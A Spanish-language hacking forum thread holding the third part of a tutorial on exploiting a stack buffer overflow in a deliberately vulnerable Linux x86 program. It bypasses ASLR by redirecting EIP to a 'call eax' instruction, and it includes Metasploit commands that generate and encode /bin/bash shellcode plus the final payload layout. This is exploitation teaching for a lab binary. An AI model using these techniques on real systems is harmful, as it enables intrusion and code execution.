comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Desbordando el buffer en linux x86 (III) [ASLR bypass]

  • 1 Respuestas
  • 2512 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Septiembre 29, 2014, 02:47:09 pm »


Esta es la tercera parte de una serie de tutoriales para aprender a explotar el buffer en sistemas Linux x86.

En el anterior apartado:

No tienes permisos para ver links. Registrate o Entra con tu cuenta

Se logro encastrar codigo ejecutable y obtener una shell, pero para lograrlo debimos desactivar previamente ASLR.  Como explique anteriormente este sistema de seguridad nos dificulta un poco las cosas randomizando la memoria.

Compilaremos el siguiente codigo que sera usado durante la realizacion de este tutorial.

Código: C
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. void funcion_vulnerable(char* input)
  5. {
  6.     char buffer[1000];
  7.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(buffer, input);
  8. }
  9. int main(int argc, char** argv)
  10. {
  11.     funcion_vulnerable(argv[1]);
  12.     return 0;
  13. }
  14.  
Verificamos que ASLR se encuentra activo.

Código: Bash
  1. cat /proc/sys/kernel/randomize_va_space
  2. 2
  3.  
De otra manera lo activaremos.

Código: Bash
  1. echo 2 > /proc/sys/kernel/randomize_va_space

Ahora simplemente realizaremos los pasos descriptos en los anteriores capitulos.

Compilamos el code.
Código: Bash
  1. gcc -o vuln -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb -z execstack vuln.c

Presten atencion al flag -z execstack, esto simplemente vuelve ejecutable el stack ya que NX (Non-Exec) es otra proteccion que al igual que ASLR nos va a romper bastante las pelotas denegandonos la ejecucion de un shellcode en la memoria.

Pero de todas maneras se puede evadir, tema que se tocara en el proximo tuto.

Buscamos la sobrescritura del EIP.

Código: Bash
  1. r $(python -c 'print "\x41"*1004+"\x42"*4')



Hasta aca todo muy lindo, pero todavia tenemos que saltarnos ASLR.

Una manera de hacer esto es buscando dentro del binario alguna instruccion de  llamada o salto (CALL/JMP) a algun registro. Por que si nos basamos en seguir el anterior tutorial donde sobrescribiamos el EIP con una direccion dentro de ESP que aputaba a un NOP Sled+Shellcode, simplemente no va a funcar, por el echo de que la memoria va a cambiar en cada ejecucion.

Esto podemos hacerlo con objdump.

Buscaremos la existencia de alguna instruccion CALL

Código: Bash
  1. objdump -d vuln|grep call
  2.  





Perfecto, objdump nos arroja dos direcciones que llaman al registro EAX.

8048387

804840f

Entonces se nos ocurre que si podemos escribir en EAX nuestro Shellcode y pintar el EIP con la direccion CALL lograriamos realmente "pintarle la cara a ASLR".

Bien, hay una parte del buffer en EAX?

Código: Bash
  1. x/100x $eax



Como se aprecia, logramos tocar el comienzo del registro, ahora solamente nos falta generar el payload.

Ahora si nos apoyaremos en  MSF para moldear un Shellcode.

Código: Bash
  1. msf > msfpayload linux/x86/exec CMD=/bin/bash C



El unico problema que surge, es que si miramos el shellcode, este contiene "badchars", como por ejemplo la presencia de nullbytes \x00 que nos van a cortar la cadena.

Asi que le pasamos la salida a msfencode para ofuscar un poco.

Código: Bash
  1. msf > msfpayload linux/x86/exec CMD=/bin/bash R|msfencode -a x86 -e x86/alpha_mixed -b 'x\00\x0d\x0a' -t c
  2.  



Fijense en el flag -b de msfencode y entre comillas la lista de badchars a evadir.

Ahora tenemos el codigo limpio y listo para agregarlo al payload que quedara de la siguiente manera.

Le restamos la longitud del Shellcode al buffer.

1004-152=852

Menos 400 NOPS que iran antes del EIP, quedando el vector de la siguiente manera

NOPS*452+Shellcode(152)+NOPS*400+EIP (call eax \x87\x83\x04\x08)

Lanzamos el exploit



Logrando esquivar satisfactoriamente ASLR.
« Última modificación: Septiembre 29, 2014, 08:26:08 pm por [Q]3rV[0] »
Web: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Twitter: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado roadd

  • *
  • Underc0der
  • Mensajes: 118
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Hacking Desde Cero By Roadd Dogg
  • Skype: r0add@hotmail.com
  • Twitter: @RoaddHDC
« Respuesta #1 en: Junio 23, 2015, 11:59:00 am »
Perdona la consulta pero la distancia entre EIP y EAX es siempre la misma o la sacas por el mismo medio que sacas la direccion de EIP en relacion al stack?
Web: No tienes permisos para ver links. Registrate o Entra con tu cuenta
Igm: /secureart
Telegram: @roaddhdc
Correo: r0add@hotmail.com
Face: /roaddhdc
Twitter: @roaddhdc
Youtube: No tienes permisos para ver links. Registrate o Entra con tu cuenta

 

¿Te gustó el post? COMPARTILO!



Vulnerabilidad en Kali Linux Sana 2.0 CVE-2015-2008 Auditoria Omar Rodriguez

Iniciado por DaRK UnLiMiTeD

Respuestas: 0
Vistas: 2617
Último mensaje Septiembre 28, 2015, 10:37:40 pm
por DaRK UnLiMiTeD
Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux

Iniciado por BrowserNet

Respuestas: 5
Vistas: 3602
Último mensaje Diciembre 26, 2016, 03:44:26 am
por Dr4g0n4Y
Rooteando servidor linux Kernel 2.6.18-194 (Rooting)

Iniciado por andrewtwo

Respuestas: 1
Vistas: 2418
Último mensaje Septiembre 28, 2012, 05:47:27 pm
por Sanko
Nelson.c Local Root Linux Kernel <= 2.6.37

Iniciado por hdbreaker

Respuestas: 0
Vistas: 3002
Último mensaje Junio 22, 2012, 10:10:00 pm
por hdbreaker
Dirty COW: Elevación de Privilegios en Linux

Iniciado por Stuxnet

Respuestas: 1
Vistas: 2314
Último mensaje Octubre 28, 2016, 01:38:39 pm
por PikachuDorado